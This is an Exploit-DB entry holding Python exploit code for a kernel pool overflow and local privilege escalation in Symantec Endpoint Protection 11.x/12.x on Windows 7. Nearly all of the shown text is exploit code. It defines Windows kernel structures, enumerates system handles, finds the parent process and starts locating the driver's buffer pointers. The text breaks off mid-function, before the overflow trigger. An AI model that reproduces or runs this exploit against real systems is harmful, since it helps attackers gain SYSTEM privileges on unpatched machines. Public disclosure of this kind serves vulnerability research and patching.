Exploit-DB #34272
Description: Symantec Endpoint Protection 11.x/12.x - Kernel Pool Overflow / Local Privilege Escalation
Type: local
Platform: windows
Date: 2014-08-05
Author: ryujin & sickness

Exploit:
# Symantec Endpoint Protection 11.x, 12.x - Kernel Pool Overflow
# http://www.offensive-security.com
# Tested on Windows 7
# http://www.offensive-security.com/vulndev/symantec-endpoint-protection-0day/
# Authors: Matteo 'ryujin' Memelli & Alexandru 'sickness' Uifalvi <at> offensive-security.com

from ctypes import *
from ctypes.wintypes import *
import struct, sys, os, time

ntdll = windll.ntdll
kernel32 = windll.kernel32
TH32CS_SNAPPROCESS = 0x02
PROCESS_ALL_ACCESS = 0x1fffff
FORMAT_MESSAGE_FROM_SYSTEM = 0x00001000
NULL = 0x0
MEM_COMMIT = 0x00001000
MEM_RESERVE = 0x00002000
PAGE_EXECUTE_READWRITE = 0x00000040
SystemExtendedHandleInformation = 64
STATUS_INFO_LENGTH_MISMATCH = 0xC0000004
STATUS_INVALID_HANDLE = 0xC0000008
STATUS_SUCCESS = 0
PVOID  = c_void_p
HANDLE = c_void_p

class LSA_UNICODE_STRING(Structure):
    """Represent the LSA_UNICODE_STRING on ntdll."""
    _fields_ = [
        ("Length", USHORT),
        ("MaximumLength", USHORT),
        ("Buffer", LPWSTR),
    ]

class SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX(Structure):
    """Represent the SYSTEM_HANDLE_TABLE_ENTRY_INFO on ntdll."""
    _fields_ = [
        ("Object", PVOID),
        ("UniqueProcessId", ULONG),
        ("HandleValue", ULONG),
        ("GrantedAccess", ULONG),
        ("CreatorBackTraceIndex", USHORT),
        ("ObjectTypeIndex", USHORT),
        ("HandleAttributes", ULONG),
        ("Reserved", ULONG),
    ]
 
class SYSTEM_HANDLE_INFORMATION_EX(Structure):
    """Represent the SYSTEM_HANDLE_INFORMATION on ntdll."""
    _fields_ = [
        ("NumberOfHandles", ULONG),
        ("Reserved", ULONG),
        ("Handles", SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX * 1),
    ]

class PUBLIC_OBJECT_TYPE_INFORMATION(Structure):
    """Represent the PUBLIC_OBJECT_TYPE_INFORMATION on ntdll."""
    _fields_ = [
        ("Name", LSA_UNICODE_STRING),
        ("Reserved", ULONG * 22),
    ]

class PROCESSENTRY32(Structure):
    _fields_ = [
        ("dwSize", c_ulong),
        ("cntUsage", c_ulong),
        ("th32ProcessID", c_ulong),
        ("th32DefaultHeapID", c_int),
        ("th32ModuleID", c_ulong),
        ("cntThreads", c_ulong),
        ("th32ParentProcessID", c_ulong),
        ("pcPriClassBase", c_long),
        ("dwFlags", c_ulong),
        ("szExeFile", c_wchar * MAX_PATH)
    ]

Process32First = kernel32.Process32FirstW
Process32Next  = kernel32.Process32NextW
 
def header():
    """Print exploit header"""
    print "[+] Sysplant 0x0222084 Kernel Pool Overflow"
    print "[+] Product: Symantec Endpoint Protection"
    print "[+] Authors: Matteo 'ryujin' Memelli & Alexandru 'sickness' Uifalvi <at> offensive-security.com"

def getLastError():
    """Format GetLastError"""
    buf = create_string_buffer(2048)
    if kernel32.FormatMessageA(FORMAT_MESSAGE_FROM_SYSTEM, NULL,
            kernel32.GetLastError(), NULL,
            buf, sizeof(buf), NULL):
        print "[-] " +  buf.value
    else:
        print "[-] Unknown Error"

def signed_to_unsigned(signed):
    """Convert signed to unsigned integer"""
    unsigned, = struct.unpack ("L", struct.pack ("l", signed))
    return unsigned
                
def get_type_info (handle):
    """Get the handle type information."""
    public_object_type_information = PUBLIC_OBJECT_TYPE_INFORMATION()
    size = DWORD(sizeof(public_object_type_information))
    while True:
        result = signed_to_unsigned(
            ntdll.NtQueryObject(
                handle, 2, byref(public_object_type_information), size, None))
        if result == STATUS_SUCCESS:
            return public_object_type_information.Name.Buffer
        elif result == STATUS_INFO_LENGTH_MISMATCH:
            size = DWORD(size.value * 4)
            resize(public_object_type_information, size.value)
        elif result == STATUS_INVALID_HANDLE:
            return None
        else:
            raise x_file_handles("NtQueryObject.2", hex (result))

def get_handles():
    """Return all the processes handles in the system atm."""
    system_handle_information = SYSTEM_HANDLE_INFORMATION_EX()
    size = DWORD (sizeof (system_handle_information))
    while True:
        result = ntdll.NtQuerySystemInformation(
            SystemExtendedHandleInformation,
            byref(system_handle_information),
            size,
            byref(size)
        )
        result = signed_to_unsigned(result)
        if result == STATUS_SUCCESS:
            break
        elif result == STATUS_INFO_LENGTH_MISMATCH:
            size = DWORD(size.value * 4)
            resize(system_handle_information, size.value)
        else:
            raise x_file_handles("NtQuerySystemInformation", hex(result))

    pHandles = cast(
        system_handle_information.Handles,
        POINTER(SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX * \
                system_handle_information.NumberOfHandles)
    )
    for handle in pHandles.contents:
        yield handle.UniqueProcessId, handle.HandleValue, handle.Object

def getppid(mypid=None, rec=False):
    """ Get Parent Process """
    pe = PROCESSENTRY32()
    pe.dwSize = sizeof(PROCESSENTRY32)
    if not mypid:
        mypid = kernel32.GetCurrentProcessId()
    snapshot = kernel32.CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
    result = 0
    try:
        have_record = Process32First(snapshot, byref(pe))
        while have_record:
            if mypid == pe.th32ProcessID:
                if rec:
                    result = getppid(pe.th32ParentProcessID, False)
                    break
                else:
                    result = pe.th32ParentProcessID
                    break
            have_record = Process32Next(snapshot, byref(pe))
    finally:
        kernel32.CloseHandle(snapshot)
    return result

def getSysFerPointer(phandle):
    """ Get child_block and child_block_size variable addresses """
    csysfer = create_string_buff